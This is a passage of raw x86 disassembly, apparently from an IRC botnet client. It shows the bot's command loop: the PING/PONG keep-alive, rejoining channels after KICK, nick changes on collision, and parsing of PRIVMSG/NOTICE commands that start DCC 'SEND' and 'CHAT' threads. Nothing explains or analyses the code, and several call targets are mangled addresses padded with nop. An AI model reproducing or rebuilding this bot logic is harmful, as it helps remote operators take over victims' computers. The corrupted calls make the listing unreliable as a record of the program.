-0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2690579h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 2690CE2h push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 2690579h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 2690CE2h push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, 